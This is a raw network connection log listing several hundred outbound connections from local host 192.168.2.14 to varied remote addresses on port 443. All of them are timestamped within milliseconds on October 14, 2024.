Oct 14, 2024 17:30:12.916915894 CEST	54042	443	192.168.2.14	148.87.158.190
Oct 14, 2024 17:30:12.916915894 CEST	54042	443	192.168.2.14	5.179.155.32
Oct 14, 2024 17:30:12.916924953 CEST	54042	443	192.168.2.14	123.104.73.7
Oct 14, 2024 17:30:12.916928053 CEST	54042	443	192.168.2.14	42.59.4.238
Oct 14, 2024 17:30:12.916945934 CEST	54042	443	192.168.2.14	42.66.176.201
Oct 14, 2024 17:30:12.916958094 CEST	54042	443	192.168.2.14	94.226.124.171
Oct 14, 2024 17:30:12.916964054 CEST	54042	443	192.168.2.14	94.152.229.244
Oct 14, 2024 17:30:12.916966915 CEST	54042	443	192.168.2.14	2.233.168.253
Oct 14, 2024 17:30:12.916971922 CEST	54042	443	192.168.2.14	212.156.183.45
Oct 14, 2024 17:30:12.916971922 CEST	54042	443	192.168.2.14	148.111.217.110
Oct 14, 2024 17:30:12.916979074 CEST	54042	443	192.168.2.14	94.205.80.236
Oct 14, 2024 17:30:12.916992903 CEST	54042	443	192.168.2.14	94.154.8.117
Oct 14, 2024 17:30:12.916992903 CEST	54042	443	192.168.2.14	148.36.250.150
Oct 14, 2024 17:30:12.916995049 CEST	54042	443	192.168.2.14	123.176.227.54
Oct 14, 2024 17:30:12.917004108 CEST	54042	443	192.168.2.14	118.142.157.10
Oct 14, 2024 17:30:12.917018890 CEST	54042	443	192.168.2.14	5.83.252.103
Oct 14, 2024 17:30:12.917022943 CEST	54042	443	192.168.2.14	5.10.229.49
Oct 14, 2024 17:30:12.917040110 CEST	54042	443	192.168.2.14	118.250.65.154
Oct 14, 2024 17:30:12.917045116 CEST	54042	443	192.168.2.14	117.199.60.47
Oct 14, 2024 17:30:12.917046070 CEST	54042	443	192.168.2.14	210.156.116.179
Oct 14, 2024 17:30:12.917057991 CEST	54042	443	192.168.2.14	42.132.106.218
Oct 14, 2024 17:30:12.917073011 CEST	54042	443	192.168.2.14	42.180.134.193
Oct 14, 2024 17:30:12.917073965 CEST	54042	443	192.168.2.14	109.40.97.102
Oct 14, 2024 17:30:12.917073965 CEST	54042	443	192.168.2.14	148.28.63.218
Oct 14, 2024 17:30:12.917090893 CEST	54042	443	192.168.2.14	117.219.197.99
Oct 14, 2024 17:30:12.917094946 CEST	54042	443	192.168.2.14	148.211.35.29
Oct 14, 2024 17:30:12.917098999 CEST	54042	443	192.168.2.14	123.72.40.117
Oct 14, 2024 17:30:12.917098999 CEST	54042	443	192.168.2.14	210.6.114.30
Oct 14, 2024 17:30:12.917100906 CEST	54042	443	192.168.2.14	2.80.139.245
Oct 14, 2024 17:30:12.917114973 CEST	54042	443	192.168.2.14	79.57.231.233
Oct 14, 2024 17:30:12.917123079 CEST	54042	443	192.168.2.14	212.241.68.48
Oct 14, 2024 17:30:12.917129040 CEST	54042	443	192.168.2.14	79.94.113.178
Oct 14, 2024 17:30:12.917145014 CEST	54042	443	192.168.2.14	117.237.143.75
Oct 14, 2024 17:30:12.917145014 CEST	54042	443	192.168.2.14	42.176.75.74
Oct 14, 2024 17:30:12.917154074 CEST	54042	443	192.168.2.14	79.26.109.183
Oct 14, 2024 17:30:12.917154074 CEST	54042	443	192.168.2.14	210.210.106.117
Oct 14, 2024 17:30:12.917172909 CEST	54042	443	192.168.2.14	123.52.193.252
Oct 14, 2024 17:30:12.917177916 CEST	54042	443	192.168.2.14	109.62.150.60
Oct 14, 2024 17:30:12.917192936 CEST	54042	443	192.168.2.14	210.131.37.230
Oct 14, 2024 17:30:12.917195082 CEST	54042	443	192.168.2.14	2.213.143.37
Oct 14, 2024 17:30:12.917202950 CEST	54042	443	192.168.2.14	202.168.118.117
Oct 14, 2024 17:30:12.917215109 CEST	54042	443	192.168.2.14	37.246.227.178
Oct 14, 2024 17:30:12.917216063 CEST	54042	443	192.168.2.14	94.123.40.211
Oct 14, 2024 17:30:12.917222977 CEST	54042	443	192.168.2.14	79.165.23.111
Oct 14, 2024 17:30:12.917237997 CEST	54042	443	192.168.2.14	178.167.115.17
Oct 14, 2024 17:30:12.917242050 CEST	54042	443	192.168.2.14	5.112.248.121
Oct 14, 2024 17:30:12.917244911 CEST	54042	443	192.168.2.14	210.149.214.226
Oct 14, 2024 17:30:12.917259932 CEST	54042	443	192.168.2.14	79.154.59.119
Oct 14, 2024 17:30:12.917259932 CEST	54042	443	192.168.2.14	123.183.4.240
Oct 14, 2024 17:30:12.917279959 CEST	54042	443	192.168.2.14	5.161.98.105
Oct 14, 2024 17:30:12.917282104 CEST	54042	443	192.168.2.14	94.45.161.65
Oct 14, 2024 17:30:12.917282104 CEST	54042	443	192.168.2.14	94.184.199.241
Oct 14, 2024 17:30:12.917299986 CEST	54042	443	192.168.2.14	210.87.122.80
Oct 14, 2024 17:30:12.917304039 CEST	54042	443	192.168.2.14	118.82.201.203
Oct 14, 2024 17:30:12.917304993 CEST	54042	443	192.168.2.14	94.153.118.144
Oct 14, 2024 17:30:12.917308092 CEST	54042	443	192.168.2.14	210.226.50.90
Oct 14, 2024 17:30:12.917325020 CEST	54042	443	192.168.2.14	117.204.87.253
Oct 14, 2024 17:30:12.917329073 CEST	54042	443	192.168.2.14	37.64.58.19
Oct 14, 2024 17:30:12.917337894 CEST	54042	443	192.168.2.14	5.146.192.242
Oct 14, 2024 17:30:12.917340994 CEST	54042	443	192.168.2.14	210.137.197.121
Oct 14, 2024 17:30:12.917340994 CEST	54042	443	192.168.2.14	118.61.52.19
Oct 14, 2024 17:30:12.917359114 CEST	54042	443	192.168.2.14	94.119.52.0
Oct 14, 2024 17:30:12.917360067 CEST	54042	443	192.168.2.14	210.119.155.135
Oct 14, 2024 17:30:12.917360067 CEST	54042	443	192.168.2.14	37.243.223.87
Oct 14, 2024 17:30:12.917361021 CEST	54042	443	192.168.2.14	94.88.200.135
Oct 14, 2024 17:30:12.917367935 CEST	54042	443	192.168.2.14	94.218.20.122
Oct 14, 2024 17:30:12.917377949 CEST	54042	443	192.168.2.14	94.217.250.19
Oct 14, 2024 17:30:12.917380095 CEST	54042	443	192.168.2.14	42.129.181.203
Oct 14, 2024 17:30:12.917387962 CEST	54042	443	192.168.2.14	79.64.84.148
Oct 14, 2024 17:30:12.917397976 CEST	54042	443	192.168.2.14	148.117.169.176
Oct 14, 2024 17:30:12.917397976 CEST	54042	443	192.168.2.14	117.172.52.99
Oct 14, 2024 17:30:12.917399883 CEST	54042	443	192.168.2.14	94.47.82.35
Oct 14, 2024 17:30:12.917399883 CEST	54042	443	192.168.2.14	178.80.7.88
Oct 14, 2024 17:30:12.917416096 CEST	54042	443	192.168.2.14	178.149.46.110
Oct 14, 2024 17:30:12.917427063 CEST	54042	443	192.168.2.14	42.58.7.18
Oct 14, 2024 17:30:12.917429924 CEST	54042	443	192.168.2.14	210.247.169.77
Oct 14, 2024 17:30:12.917433977 CEST	54042	443	192.168.2.14	37.93.138.49
Oct 14, 2024 17:30:12.917450905 CEST	54042	443	192.168.2.14	94.105.100.46
Oct 14, 2024 17:30:12.917450905 CEST	54042	443	192.168.2.14	178.163.103.252
Oct 14, 2024 17:30:12.917452097 CEST	54042	443	192.168.2.14	212.163.35.153
Oct 14, 2024 17:30:12.917452097 CEST	54042	443	192.168.2.14	37.173.191.249
Oct 14, 2024 17:30:12.917469978 CEST	54042	443	192.168.2.14	123.250.75.219
Oct 14, 2024 17:30:12.917470932 CEST	54042	443	192.168.2.14	2.160.114.243
Oct 14, 2024 17:30:12.917470932 CEST	54042	443	192.168.2.14	94.192.111.170
Oct 14, 2024 17:30:12.917483091 CEST	54042	443	192.168.2.14	117.149.65.34
Oct 14, 2024 17:30:12.917483091 CEST	54042	443	192.168.2.14	148.109.128.74
Oct 14, 2024 17:30:12.917491913 CEST	54042	443	192.168.2.14	148.51.133.134
Oct 14, 2024 17:30:12.917500019 CEST	54042	443	192.168.2.14	5.243.23.152
Oct 14, 2024 17:30:12.917516947 CEST	54042	443	192.168.2.14	109.234.87.220
Oct 14, 2024 17:30:12.917516947 CEST	54042	443	192.168.2.14	94.24.174.194
Oct 14, 2024 17:30:12.917527914 CEST	54042	443	192.168.2.14	79.143.126.134
Oct 14, 2024 17:30:12.917534113 CEST	54042	443	192.168.2.14	178.200.9.171
Oct 14, 2024 17:30:12.917542934 CEST	54042	443	192.168.2.14	37.248.186.54
Oct 14, 2024 17:30:12.917546988 CEST	54042	443	192.168.2.14	118.169.144.114
Oct 14, 2024 17:30:12.917555094 CEST	54042	443	192.168.2.14	210.128.169.50
Oct 14, 2024 17:30:12.917570114 CEST	54042	443	192.168.2.14	37.131.135.202
Oct 14, 2024 17:30:12.917570114 CEST	54042	443	192.168.2.14	148.183.229.252
Oct 14, 2024 17:30:12.917572975 CEST	54042	443	192.168.2.14	148.144.182.81
Oct 14, 2024 17:30:12.917574883 CEST	54042	443	192.168.2.14	123.90.252.25
Oct 14, 2024 17:30:12.917574883 CEST	54042	443	192.168.2.14	212.168.81.176
Oct 14, 2024 17:30:12.917584896 CEST	54042	443	192.168.2.14	2.135.168.147
Oct 14, 2024 17:30:12.917584896 CEST	54042	443	192.168.2.14	42.172.178.214
Oct 14, 2024 17:30:12.917603016 CEST	54042	443	192.168.2.14	148.51.193.19
Oct 14, 2024 17:30:12.917603016 CEST	54042	443	192.168.2.14	123.161.137.74
Oct 14, 2024 17:30:12.917609930 CEST	54042	443	192.168.2.14	117.125.30.29
Oct 14, 2024 17:30:12.917618036 CEST	54042	443	192.168.2.14	118.35.123.248
Oct 14, 2024 17:30:12.917618036 CEST	54042	443	192.168.2.14	118.128.175.248
Oct 14, 2024 17:30:12.917629004 CEST	54042	443	192.168.2.14	123.40.37.215
Oct 14, 2024 17:30:12.917639971 CEST	54042	443	192.168.2.14	79.161.26.229
Oct 14, 2024 17:30:12.917639971 CEST	54042	443	192.168.2.14	202.52.92.201
Oct 14, 2024 17:30:12.917651892 CEST	54042	443	192.168.2.14	42.6.119.30
Oct 14, 2024 17:30:12.917663097 CEST	54042	443	192.168.2.14	148.54.86.5
Oct 14, 2024 17:30:12.917665005 CEST	54042	443	192.168.2.14	109.66.162.59
Oct 14, 2024 17:30:12.917674065 CEST	54042	443	192.168.2.14	2.62.84.155
Oct 14, 2024 17:30:12.917674065 CEST	54042	443	192.168.2.14	118.111.204.32
Oct 14, 2024 17:30:12.917686939 CEST	54042	443	192.168.2.14	178.114.180.196
Oct 14, 2024 17:30:12.917691946 CEST	54042	443	192.168.2.14	2.203.18.60
Oct 14, 2024 17:30:12.917691946 CEST	54042	443	192.168.2.14	212.205.179.18
Oct 14, 2024 17:30:12.917706966 CEST	54042	443	192.168.2.14	202.144.165.249
Oct 14, 2024 17:30:12.917706966 CEST	54042	443	192.168.2.14	118.91.29.80
Oct 14, 2024 17:30:12.917722940 CEST	54042	443	192.168.2.14	79.18.142.42
Oct 14, 2024 17:30:12.917726994 CEST	54042	443	192.168.2.14	79.12.7.1
Oct 14, 2024 17:30:12.917742968 CEST	54042	443	192.168.2.14	42.232.52.69
Oct 14, 2024 17:30:12.917746067 CEST	54042	443	192.168.2.14	148.249.68.2
Oct 14, 2024 17:30:12.917757988 CEST	54042	443	192.168.2.14	148.28.114.164
Oct 14, 2024 17:30:12.917757988 CEST	54042	443	192.168.2.14	42.57.69.127
Oct 14, 2024 17:30:12.917769909 CEST	54042	443	192.168.2.14	178.196.136.217
Oct 14, 2024 17:30:12.917769909 CEST	54042	443	192.168.2.14	118.41.33.163
Oct 14, 2024 17:30:12.917777061 CEST	54042	443	192.168.2.14	212.226.31.41
Oct 14, 2024 17:30:12.917793989 CEST	54042	443	192.168.2.14	123.78.94.45
Oct 14, 2024 17:30:12.917795897 CEST	54042	443	192.168.2.14	5.235.221.39
Oct 14, 2024 17:30:12.917799950 CEST	54042	443	192.168.2.14	109.54.40.130
Oct 14, 2024 17:30:12.917818069 CEST	54042	443	192.168.2.14	212.56.219.66
Oct 14, 2024 17:30:12.917819977 CEST	54042	443	192.168.2.14	42.227.140.219
Oct 14, 2024 17:30:12.917819977 CEST	54042	443	192.168.2.14	178.149.246.134
Oct 14, 2024 17:30:12.917819977 CEST	54042	443	192.168.2.14	202.210.119.93
Oct 14, 2024 17:30:12.917830944 CEST	54042	443	192.168.2.14	117.17.170.239
Oct 14, 2024 17:30:12.917834997 CEST	54042	443	192.168.2.14	79.59.7.104
Oct 14, 2024 17:30:12.917834997 CEST	54042	443	192.168.2.14	118.106.99.53
Oct 14, 2024 17:30:12.917844057 CEST	54042	443	192.168.2.14	94.138.163.190
Oct 14, 2024 17:30:12.917855024 CEST	54042	443	192.168.2.14	212.19.247.120
Oct 14, 2024 17:30:12.917859077 CEST	54042	443	192.168.2.14	202.160.101.4
Oct 14, 2024 17:30:12.917869091 CEST	54042	443	192.168.2.14	118.85.197.12
Oct 14, 2024 17:30:12.917872906 CEST	54042	443	192.168.2.14	202.84.151.18
Oct 14, 2024 17:30:12.917876005 CEST	54042	443	192.168.2.14	118.102.47.158
Oct 14, 2024 17:30:12.917891979 CEST	54042	443	192.168.2.14	2.27.122.240
Oct 14, 2024 17:30:12.917895079 CEST	54042	443	192.168.2.14	202.245.52.164
Oct 14, 2024 17:30:12.917907000 CEST	54042	443	192.168.2.14	109.17.250.232
Oct 14, 2024 17:30:12.917907000 CEST	54042	443	192.168.2.14	212.206.188.254
Oct 14, 2024 17:30:12.917912006 CEST	54042	443	192.168.2.14	123.81.75.215
Oct 14, 2024 17:30:12.917918921 CEST	54042	443	192.168.2.14	94.146.158.35
Oct 14, 2024 17:30:12.917922974 CEST	54042	443	192.168.2.14	202.198.136.75
Oct 14, 2024 17:30:12.917938948 CEST	54042	443	192.168.2.14	79.54.73.202
Oct 14, 2024 17:30:12.917938948 CEST	54042	443	192.168.2.14	123.239.106.44
Oct 14, 2024 17:30:12.917943954 CEST	54042	443	192.168.2.14	42.123.17.15
Oct 14, 2024 17:30:12.917946100 CEST	54042	443	192.168.2.14	109.174.85.151
Oct 14, 2024 17:30:12.917953014 CEST	54042	443	192.168.2.14	202.1.15.254
Oct 14, 2024 17:30:12.917958021 CEST	54042	443	192.168.2.14	178.233.145.233
Oct 14, 2024 17:30:12.917965889 CEST	54042	443	192.168.2.14	117.66.92.39
Oct 14, 2024 17:30:12.917977095 CEST	54042	443	192.168.2.14	148.160.75.239
Oct 14, 2024 17:30:12.917989016 CEST	54042	443	192.168.2.14	148.75.21.81
Oct 14, 2024 17:30:12.917999983 CEST	54042	443	192.168.2.14	212.68.59.236
Oct 14, 2024 17:30:12.918003082 CEST	54042	443	192.168.2.14	178.174.153.126
Oct 14, 2024 17:30:12.918008089 CEST	54042	443	192.168.2.14	79.86.158.40
Oct 14, 2024 17:30:12.918014050 CEST	54042	443	192.168.2.14	2.34.148.111
Oct 14, 2024 17:30:12.918025017 CEST	54042	443	192.168.2.14	94.37.65.33
Oct 14, 2024 17:30:12.918034077 CEST	54042	443	192.168.2.14	118.206.175.56
Oct 14, 2024 17:30:12.918034077 CEST	54042	443	192.168.2.14	178.81.155.126
Oct 14, 2024 17:30:12.918034077 CEST	54042	443	192.168.2.14	148.115.255.162
Oct 14, 2024 17:30:12.918045044 CEST	54042	443	192.168.2.14	109.230.173.167
Oct 14, 2024 17:30:12.918054104 CEST	54042	443	192.168.2.14	202.223.208.169
Oct 14, 2024 17:30:12.918060064 CEST	54042	443	192.168.2.14	123.124.104.55
Oct 14, 2024 17:30:12.918073893 CEST	54042	443	192.168.2.14	210.71.108.162
Oct 14, 2024 17:30:12.918076038 CEST	54042	443	192.168.2.14	94.95.58.194
Oct 14, 2024 17:30:12.918078899 CEST	54042	443	192.168.2.14	79.30.158.203
Oct 14, 2024 17:30:12.918092966 CEST	54042	443	192.168.2.14	37.4.36.121
Oct 14, 2024 17:30:12.918092966 CEST	54042	443	192.168.2.14	42.55.129.6
Oct 14, 2024 17:30:12.918097019 CEST	54042	443	192.168.2.14	148.116.236.47
Oct 14, 2024 17:30:12.918100119 CEST	54042	443	192.168.2.14	178.205.212.170
Oct 14, 2024 17:30:12.918100119 CEST	54042	443	192.168.2.14	2.122.179.159
Oct 14, 2024 17:30:12.918111086 CEST	54042	443	192.168.2.14	202.197.137.180
Oct 14, 2024 17:30:12.918118000 CEST	54042	443	192.168.2.14	210.73.29.215
Oct 14, 2024 17:30:12.918127060 CEST	54042	443	192.168.2.14	94.88.189.201
Oct 14, 2024 17:30:12.918132067 CEST	54042	443	192.168.2.14	210.95.171.22
Oct 14, 2024 17:30:12.918132067 CEST	54042	443	192.168.2.14	79.98.111.87
Oct 14, 2024 17:30:12.918132067 CEST	54042	443	192.168.2.14	148.179.64.67
Oct 14, 2024 17:30:12.918149948 CEST	54042	443	192.168.2.14	212.2.93.60
Oct 14, 2024 17:30:12.918152094 CEST	54042	443	192.168.2.14	178.211.91.200
Oct 14, 2024 17:30:12.918160915 CEST	54042	443	192.168.2.14	118.98.135.110
Oct 14, 2024 17:30:12.918167114 CEST	54042	443	192.168.2.14	123.58.63.248
Oct 14, 2024 17:30:12.918174028 CEST	54042	443	192.168.2.14	79.35.250.253
Oct 14, 2024 17:30:12.918186903 CEST	54042	443	192.168.2.14	2.240.249.71
Oct 14, 2024 17:30:12.918186903 CEST	54042	443	192.168.2.14	42.207.58.62
Oct 14, 2024 17:30:12.918194056 CEST	54042	443	192.168.2.14	212.206.76.75
Oct 14, 2024 17:30:12.918198109 CEST	54042	443	192.168.2.14	202.7.195.48
Oct 14, 2024 17:30:12.918200970 CEST	54042	443	192.168.2.14	42.208.58.50
Oct 14, 2024 17:30:12.918226957 CEST	54042	443	192.168.2.14	109.102.224.43
Oct 14, 2024 17:30:12.918232918 CEST	54042	443	192.168.2.14	210.85.55.138
Oct 14, 2024 17:30:12.918232918 CEST	54042	443	192.168.2.14	117.238.103.173
Oct 14, 2024 17:30:12.918232918 CEST	54042	443	192.168.2.14	202.9.216.39
Oct 14, 2024 17:30:12.918242931 CEST	54042	443	192.168.2.14	212.192.59.204
Oct 14, 2024 17:30:12.918247938 CEST	54042	443	192.168.2.14	42.109.154.187
Oct 14, 2024 17:30:12.918252945 CEST	54042	443	192.168.2.14	118.15.95.162
Oct 14, 2024 17:30:12.918267965 CEST	54042	443	192.168.2.14	212.39.118.12
Oct 14, 2024 17:30:12.918268919 CEST	54042	443	192.168.2.14	37.18.23.105
Oct 14, 2024 17:30:12.918276072 CEST	54042	443	192.168.2.14	123.68.99.55
Oct 14, 2024 17:30:12.918287039 CEST	54042	443	192.168.2.14	5.78.158.178
Oct 14, 2024 17:30:12.918291092 CEST	54042	443	192.168.2.14	212.150.8.173
Oct 14, 2024 17:30:12.918298006 CEST	54042	443	192.168.2.14	148.225.240.231
Oct 14, 2024 17:30:12.918306112 CEST	54042	443	192.168.2.14	94.64.121.142
Oct 14, 2024 17:30:12.918323994 CEST	54042	443	192.168.2.14	109.11.165.241
Oct 14, 2024 17:30:12.918324947 CEST	54042	443	192.168.2.14	79.206.199.168
Oct 14, 2024 17:30:12.918323994 CEST	54042	443	192.168.2.14	5.213.154.70
Oct 14, 2024 17:30:12.918330908 CEST	54042	443	192.168.2.14	109.171.151.102
Oct 14, 2024 17:30:12.918334961 CEST	54042	443	192.168.2.14	94.45.245.232
Oct 14, 2024 17:30:12.918334961 CEST	54042	443	192.168.2.14	117.72.12.177
Oct 14, 2024 17:30:12.918338060 CEST	54042	443	192.168.2.14	118.104.225.22
Oct 14, 2024 17:30:12.918349981 CEST	54042	443	192.168.2.14	79.233.40.134
Oct 14, 2024 17:30:12.918353081 CEST	54042	443	192.168.2.14	202.239.172.221
Oct 14, 2024 17:30:12.918361902 CEST	54042	443	192.168.2.14	42.241.175.227
Oct 14, 2024 17:30:12.918374062 CEST	54042	443	192.168.2.14	79.64.227.23
Oct 14, 2024 17:30:12.918380022 CEST	54042	443	192.168.2.14	178.117.226.228
Oct 14, 2024 17:30:12.918385983 CEST	54042	443	192.168.2.14	37.170.245.42
Oct 14, 2024 17:30:12.918395042 CEST	54042	443	192.168.2.14	109.242.67.91
Oct 14, 2024 17:30:12.918397903 CEST	54042	443	192.168.2.14	123.170.104.8
Oct 14, 2024 17:30:12.918406010 CEST	54042	443	192.168.2.14	148.49.92.22
Oct 14, 2024 17:30:12.918412924 CEST	54042	443	192.168.2.14	5.216.219.165
Oct 14, 2024 17:30:12.918426037 CEST	54042	443	192.168.2.14	123.70.172.126
Oct 14, 2024 17:30:12.918430090 CEST	54042	443	192.168.2.14	123.61.133.136
Oct 14, 2024 17:30:12.918433905 CEST	54042	443	192.168.2.14	2.68.238.112
Oct 14, 2024 17:30:12.918438911 CEST	54042	443	192.168.2.14	118.42.30.8
Oct 14, 2024 17:30:12.918451071 CEST	54042	443	192.168.2.14	5.140.250.6
Oct 14, 2024 17:30:12.918463945 CEST	54042	443	192.168.2.14	212.7.29.208
Oct 14, 2024 17:30:12.918467999 CEST	54042	443	192.168.2.14	2.14.225.169
Oct 14, 2024 17:30:12.918472052 CEST	54042	443	192.168.2.14	202.10.156.198
Oct 14, 2024 17:30:12.918486118 CEST	54042	443	192.168.2.14	79.69.9.75
Oct 14, 2024 17:30:12.918489933 CEST	54042	443	192.168.2.14	123.237.108.147
Oct 14, 2024 17:30:12.918489933 CEST	54042	443	192.168.2.14	123.29.235.170
Oct 14, 2024 17:30:12.918489933 CEST	54042	443	192.168.2.14	118.10.138.197
Oct 14, 2024 17:30:12.918502092 CEST	54042	443	192.168.2.14	202.152.152.205
Oct 14, 2024 17:30:12.918507099 CEST	54042	443	192.168.2.14	178.26.212.150
Oct 14, 2024 17:30:12.918517113 CEST	54042	443	192.168.2.14	123.97.161.249
Oct 14, 2024 17:30:12.918523073 CEST	54042	443	192.168.2.14	178.176.6.12
Oct 14, 2024 17:30:12.918535948 CEST	54042	443	192.168.2.14	37.244.228.138
Oct 14, 2024 17:30:12.918539047 CEST	54042	443	192.168.2.14	117.225.250.43
Oct 14, 2024 17:30:12.918550014 CEST	54042	443	192.168.2.14	42.195.54.34
Oct 14, 2024 17:30:12.918554068 CEST	54042	443	192.168.2.14	123.3.238.201
Oct 14, 2024 17:30:12.918560982 CEST	54042	443	192.168.2.14	37.30.239.2
Oct 14, 2024 17:30:12.918570995 CEST	54042	443	192.168.2.14	79.107.199.164
Oct 14, 2024 17:30:12.918597937 CEST	54042	443	192.168.2.14	79.186.6.196
Oct 14, 2024 17:30:12.918600082 CEST	54042	443	192.168.2.14	79.1.58.46
Oct 14, 2024 17:30:12.918600082 CEST	54042	443	192.168.2.14	212.244.113.204
Oct 14, 2024 17:30:12.918602943 CEST	54042	443	192.168.2.14	210.86.187.106
Oct 14, 2024 17:30:12.918602943 CEST	54042	443	192.168.2.14	202.29.98.14
Oct 14, 2024 17:30:12.918623924 CEST	54042	443	192.168.2.14	42.252.27.136
Oct 14, 2024 17:30:12.918625116 CEST	54042	443	192.168.2.14	94.56.158.229
Oct 14, 2024 17:30:12.918628931 CEST	54042	443	192.168.2.14	2.99.58.30
Oct 14, 2024 17:30:12.918628931 CEST	54042	443	192.168.2.14	5.194.215.175
Oct 14, 2024 17:30:12.918628931 CEST	54042	443	192.168.2.14	123.92.122.189
Oct 14, 2024 17:30:12.918648958 CEST	54042	443	192.168.2.14	123.150.253.211
Oct 14, 2024 17:30:12.918652058 CEST	54042	443	192.168.2.14	5.211.158.105
Oct 14, 2024 17:30:12.918659925 CEST	54042	443	192.168.2.14	37.83.69.1
Oct 14, 2024 17:30:12.918668985 CEST	54042	443	192.168.2.14	118.140.39.176
Oct 14, 2024 17:30:12.918674946 CEST	54042	443	192.168.2.14	178.180.121.241
Oct 14, 2024 17:30:12.918678045 CEST	54042	443	192.168.2.14	5.205.133.218
Oct 14, 2024 17:30:12.918678045 CEST	54042	443	192.168.2.14	118.130.95.207
Oct 14, 2024 17:30:12.918694973 CEST	54042	443	192.168.2.14	94.73.198.68
Oct 14, 2024 17:30:12.918699980 CEST	54042	443	192.168.2.14	79.188.254.128
Oct 14, 2024 17:30:12.918704033 CEST	54042	443	192.168.2.14	148.142.76.127
Oct 14, 2024 17:30:12.918708086 CEST	54042	443	192.168.2.14	202.76.239.80
Oct 14, 2024 17:30:12.918714046 CEST	54042	443	192.168.2.14	94.146.20.222
Oct 14, 2024 17:30:12.918728113 CEST	54042	443	192.168.2.14	118.26.39.227
Oct 14, 2024 17:30:12.918730974 CEST	54042	443	192.168.2.14	109.174.183.230
Oct 14, 2024 17:30:12.918730974 CEST	54042	443	192.168.2.14	210.236.69.247
Oct 14, 2024 17:30:12.918739080 CEST	54042	443	192.168.2.14	210.253.89.125
Oct 14, 2024 17:30:12.918746948 CEST	54042	443	192.168.2.14	42.232.13.224
Oct 14, 2024 17:30:12.918750048 CEST	54042	443	192.168.2.14	210.229.194.126
Oct 14, 2024 17:30:12.918766975 CEST	54042	443	192.168.2.14	148.30.190.112
Oct 14, 2024 17:30:12.918770075 CEST	54042	443	192.168.2.14	37.196.190.207
Oct 14, 2024 17:30:12.918770075 CEST	54042	443	192.168.2.14	94.80.54.82
Oct 14, 2024 17:30:12.918780088 CEST	54042	443	192.168.2.14	94.48.29.27
Oct 14, 2024 17:30:12.918797016 CEST	54042	443	192.168.2.14	202.253.179.248
Oct 14, 2024 17:30:12.918798923 CEST	54042	443	192.168.2.14	117.122.163.247
Oct 14, 2024 17:30:12.918804884 CEST	54042	443	192.168.2.14	212.189.136.152
Oct 14, 2024 17:30:12.918817997 CEST	54042	443	192.168.2.14	94.88.196.24
Oct 14, 2024 17:30:12.918823957 CEST	54042	443	192.168.2.14	210.121.50.165
Oct 14, 2024 17:30:12.918823957 CEST	54042	443	192.168.2.14	2.252.6.142
Oct 14, 2024 17:30:12.918838978 CEST	54042	443	192.168.2.14	94.82.29.137
Oct 14, 2024 17:30:12.918844938 CEST	54042	443	192.168.2.14	2.142.189.73
Oct 14, 2024 17:30:12.918855906 CEST	54042	443	192.168.2.14	123.25.190.79
Oct 14, 2024 17:30:12.918864012 CEST	54042	443	192.168.2.14	202.210.213.65
Oct 14, 2024 17:30:12.918868065 CEST	54042	443	192.168.2.14	5.190.108.161
Oct 14, 2024 17:30:12.918874025 CEST	54042	443	192.168.2.14	2.2.15.135
Oct 14, 2024 17:30:12.918879986 CEST	54042	443	192.168.2.14	42.171.212.119
Oct 14, 2024 17:30:12.918893099 CEST	54042	443	192.168.2.14	94.126.7.9
Oct 14, 2024 17:30:12.918893099 CEST	54042	443	192.168.2.14	123.229.40.241
Oct 14, 2024 17:30:12.918895006 CEST	54042	443	192.168.2.14	123.126.83.199
Oct 14, 2024 17:30:12.918899059 CEST	54042	443	192.168.2.14	94.69.167.48
Oct 14, 2024 17:30:12.918899059 CEST	54042	443	192.168.2.14	37.52.68.59
Oct 14, 2024 17:30:12.918915033 CEST	54042	443	192.168.2.14	79.21.75.151
Oct 14, 2024 17:30:12.918915033 CEST	54042	443	192.168.2.14	212.34.226.168
Oct 14, 2024 17:30:12.918920994 CEST	54042	443	192.168.2.14	2.10.252.75
Oct 14, 2024 17:30:12.918931961 CEST	54042	443	192.168.2.14	148.40.30.144
Oct 14, 2024 17:30:12.918932915 CEST	54042	443	192.168.2.14	148.185.97.214
Oct 14, 2024 17:30:12.918936968 CEST	54042	443	192.168.2.14	117.44.81.109
Oct 14, 2024 17:30:12.918940067 CEST	54042	443	192.168.2.14	210.102.211.135
Oct 14, 2024 17:30:12.918955088 CEST	54042	443	192.168.2.14	118.40.116.30
Oct 14, 2024 17:30:12.918958902 CEST	54042	443	192.168.2.14	79.199.148.104
Oct 14, 2024 17:30:12.918967962 CEST	54042	443	192.168.2.14	109.202.222.51
Oct 14, 2024 17:30:12.918977022 CEST	54042	443	192.168.2.14	178.191.222.208
Oct 14, 2024 17:30:12.918984890 CEST	54042	443	192.168.2.14	5.118.31.1
Oct 14, 2024 17:30:12.918988943 CEST	54042	443	192.168.2.14	109.134.160.249
Oct 14, 2024 17:30:12.919003010 CEST	54042	443	192.168.2.14	109.75.22.82
Oct 14, 2024 17:30:12.919006109 CEST	54042	443	192.168.2.14	2.131.253.115
Oct 14, 2024 17:30:12.919017076 CEST	54042	443	192.168.2.14	5.189.159.5
Oct 14, 2024 17:30:12.919029951 CEST	54042	443	192.168.2.14	109.99.221.191
Oct 14, 2024 17:30:12.919029951 CEST	54042	443	192.168.2.14	117.104.172.57
Oct 14, 2024 17:30:12.919035912 CEST	54042	443	192.168.2.14	5.255.78.85
Oct 14, 2024 17:30:12.919038057 CEST	54042	443	192.168.2.14	212.208.211.230
Oct 14, 2024 17:30:12.919055939 CEST	54042	443	192.168.2.14	178.24.105.45
Oct 14, 2024 17:30:12.919059038 CEST	54042	443	192.168.2.14	202.144.174.195
Oct 14, 2024 17:30:12.919065952 CEST	54042	443	192.168.2.14	42.23.250.68
Oct 14, 2024 17:30:12.919078112 CEST	54042	443	192.168.2.14	178.31.181.82
Oct 14, 2024 17:30:12.919080019 CEST	54042	443	192.168.2.14	37.45.80.82
Oct 14, 2024 17:30:12.919092894 CEST	54042	443	192.168.2.14	37.74.71.10
Oct 14, 2024 17:30:12.919096947 CEST	54042	443	192.168.2.14	212.103.25.55
Oct 14, 2024 17:30:12.919106007 CEST	54042	443	192.168.2.14	210.25.201.128
Oct 14, 2024 17:30:12.919118881 CEST	54042	443	192.168.2.14	37.114.20.209
Oct 14, 2024 17:30:12.919126034 CEST	54042	443	192.168.2.14	123.122.55.226
Oct 14, 2024 17:30:12.919131041 CEST	54042	443	192.168.2.14	42.216.99.231
Oct 14, 2024 17:30:12.919137955 CEST	54042	443	192.168.2.14	118.123.103.102
Oct 14, 2024 17:30:12.919145107 CEST	54042	443	192.168.2.14	202.23.210.97
Oct 14, 2024 17:30:12.919152975 CEST	54042	443	192.168.2.14	148.249.198.21
